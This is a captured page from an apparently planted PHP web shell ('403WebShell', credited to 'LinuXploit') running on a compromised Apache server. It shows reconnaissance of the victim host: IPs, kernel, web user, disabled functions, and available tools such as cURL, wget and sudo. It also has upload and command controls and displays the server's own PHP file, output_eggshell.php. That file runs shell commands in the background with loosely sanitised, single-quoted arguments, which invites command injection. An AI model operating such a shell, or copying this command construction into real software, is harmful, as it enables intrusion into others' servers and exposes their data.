Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/modules/eggshell/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/modules/eggshell/model/output_eggshell.php
<?php

    require_once HOME . '/modules/output/model/output_base.php';
    
// A class to handle process text output
//  this will be an iframe first, then move to a <div>

class output_eggshell extends output_base {

    public function __construct($priority = 95) {
        parent::__construct($priority);
    }

    public function ReturnCode() {
        if (func_num_args()) {
            $this->rc = func_get_arg(0);
            $this->_scriptEnd();        // the script has terminated
            return $this;
        }
        return $this->rc;
    }

    public function uuid4() {
        $seed = openssl_random_pseudo_bytes(16);

        $seed[6] = chr(ord($seed[6]) & 0x0f | 0x40); // set version to 0100
        $seed[8] = chr(ord($seed[8]) & 0x3f | 0x80); // set bits 6-7 to 10

        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($seed), 4));
    }

	private function _Createkey($entrypoint) {
		if (is_string($entrypoint)) {
			return str_replace(['>', '<', ';', '|', '/'], '', strtolower($entrypoint));
		}
        if ($entrypoint[0] === NULL) {
            $classname = 'null';
        } else {
            $class = get_class($entrypoint[0]);
            if (is_a($entrypoint[0], 'moduleMain')) {
                $elements = explode('\\', $class);
                array_pop($elements);
                $class = array_pop($elements);
            }
            $classname = strtolower($class);
        }
		$ep = str_replace(['_', '>', '<', ';', '|', '/'], ['-', '', '', '', '', ''], strtolower($entrypoint[1]));
		return $classname . '/' . $ep;
	}

	// what version of php is being used, and where is the cli version?
	// assumes linux
	public function getExecutable() {
		$major = PHP_MAJOR_VERSION;
		$minor = PHP_MINOR_VERSION;
		$dir = PHP_BINDIR;
		$executable = "$dir/php{$major}.{$minor}";
		if (file_exists($executable)) return $executable;

		$executable = "$dir/php{$major}";
		if (file_exists($executable)) return $executable;
		
		$executable = '/etc/alternatives/php';		// default php
		if (is_link($executable)) {
			return readlink($executable);
		}
		return PHP_BINARY;
	}
	
    public function CreateCommandLine($entrypoint) {
		$key = $this->_Createkey($entrypoint);
		$exe = $this->getExecutable();
		if (is_string($entrypoint) && file_exists($entrypoint)) {
			$command = $exe . ' -q ' . $entrypoint;
		} elseif (is_a($entrypoint[0], 'controller')) {
			$command = $exe . ' -q ' . HOME . '/public/index.php "uri=' . $key . '"';
		} elseif (is_a($entrypoint[0], 'moduleMain')) {
			$command = $exe . ' -q ' . HOME . '/public/index.php "uri=/~/' . $key . '"';
        } elseif (is_string($entrypoint)) {
			$command = $exe . ' -q ' . HOME . '/public/index.php "uri=' . $entrypoint . '"';
		} else {
			return '';
		}
		return $command;
	}

    private function _LaunchCommand($url, $hash = NULL) {
        $initial_url = $url;
        if ($url == '') {
            error_log('_LaunchCommand: no command specified');
            die("\nNo url specified in `_LaunchCommand`\n");
        }

        $sess = session_id();
        $url = $this->CreateCommandLine($url);
        $url .= ' "netcat=1" "PHPSESSID='. $sess . '"';

        if (empty($hash)) $hash = $this->uuid4();
        if ($this->ReadWrite()) {
            $command = "/usr/local/bin/eggshell -rw {$hash} -ro . -c '$url'";
        } else {
            $command = "/usr/local/bin/eggshell -ro {$hash} -c '$url'";
        }
        
        // we wish to know when this one finishes
        $ephemeral = $this->Ephemeral();
        $url = "https://pkp.pjy.us/~/eggshell/done?rc=[rc]&PHPSESSID={$sess}&hash={$ephemeral}";
        $command .= " -ci '$url'";
        `$command > /dev/null 2>&1 &`;
        $this->payload['eggshell_hash'] = $hash;
        $this->payload['initial_command'] = $initial_url;
        $this->payload['debug'] = $command;
        $GLOBALS['loader']->UpdateEphemeral($ephemeral, $this->payload);
        
        sleep(4);       // give the background task a chance to send some output
        return 'https://eggshell.pjy.us/v/' . $hash;
    }


    // launch process and generate the initial HTML  
    public function Start($ephemeral_hash, $url) {
        parent::Start($ephemeral_hash, $url);
        // start the background command running,
        // delay for upto 5s until we get the name of the seashells page -
        //    this is based on the request sent to 'https://pkp.pjy.us/~/netcat/incoming/?session=%s&link=%s' by the background process
        // output page template, with iframe using correct seashells link
        $url = $this->_LaunchCommand($url);       // waits for seashells to return the link to the output.

        if (!$this->Option('container')) {
            return $url;
        }

        // this should be moved to the view
        $css = <<<'BLOCK'
.iframe-le {
    width: 100%;
    border: 1px dashed #ccc;
    height: calc(100vh - 300px);
    min-height: 300px;
    overflow: scroll;
}
BLOCK;
        $id = $this->display()->IncludeFile('');
        $id->AddCSS($css);

        // listen for events from other browser tabs - add them to the jquery tabs
        // initialize jquery tabs
        // server_id, friendlyname, url are passed from the other tab
        //  'url' would be an ephermal which will redirect to the eggshell.
        $javascript = <<<'BLOCK'
sysend.on('console_add', function(message) {
    var $component = $('.component-tabs');
    var $tabs = $('ul', $component);
    $tabs.append(`<li data-fragment="cmd-${message.server_id}"><a href="#cmd-${message.server_id}">${message.friendly}</a></li>`);
    var body = `
        <div id="cmd-${message.server_id}">
            <iframe class="iframe-le" frameborder="0" cols="100" rows="15" src="/~/eggshell/frame/${message.server_id}?auth=${message.auth}"></iframe>
        </div>
    `;
    $component.append(body);
    $component.tabs('refresh');
});
BLOCK;
        $id->JavascriptCommand($javascript);
        
        $res = [];
        if ($this->Option('tabs')) {
            $server_id = $this->Option('server_id');
            $friendly =  $this->Option('friendly');
            $title = htmlspecialchars($friendly);
            // <li data-fragment="\${tab.fragment}" data-auth="\${tabauth}"><a href="#\${tab.fragment}">\${tab_name}</a></li>
            $html = <<<BLOCK
    <div class="leftindent">
    <div class="component-tabs">
        <ul><li data-fragment="cmd-{$server_id}"><a href="#cmd-{$server_id}">{$title}</a></li></ul>
        <div id="cmd-{$server_id}">
            <iframe class="iframe-le" frameborder="0" cols="100" rows="15" src="$url"></iframe>
        </div>
    </div>
BLOCK;
        } else {
            $title = htmlspecialchars($this->Title());
            $html = <<<BLOCK
    <div class="leftindent">
    <h3>{$title}</h3>
    <iframe class="iframe-le" frameborder="0" cols="100" rows="15" src="$url"></iframe>
BLOCK;
            
        }
        $res['body'] = $html;
        return $res;
    }
    
    // change the command to allow command to be run by agent
    public function prepareCommand($command) {
        $eggshell = $this->payload['eggshell_hash'];
        if ($this->ReadWrite()) {
            $command = "/usr/local/bin/eggshell -rw {$eggshell} -ro . -c '{$command}' > /dev/null 2>&1";
        } else {
            $command = "/usr/local/bin/eggshell -ro {$eggshell} -c '{$command}' > /dev/null 2>&1";
        }
        return $command;
    }

    public function scriptEnd() {
        // Don't mark the script as complete
        // when this current script has finished, a background event will start it up again
        // so it can continue from where it left off
        exit;
    }

    public function Prepare() {
        parent::Prepare();
        header('Content-type: text/html');
        return FALSE;   // Allow HTML
    }
    
    public function Restart() {
        $hash = $this->payload['eggshell_hash'];
        $url = $this->payload['initial_command'];
        $this->_LaunchCommand($url, $hash); 
    }

    public function fetchLastReturncode() {
        $curl = new \CurlObject();
		$n = new \CurlObject();
		$n	->Url('https://eggshell.pjy.us/wsx/status?hash=' . $this->payload['eggshell_hash'])
			->Redirect(0)
			->Execute();
		$text = json_decode($n->Body(), TRUE);
        return $text['rc'];
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit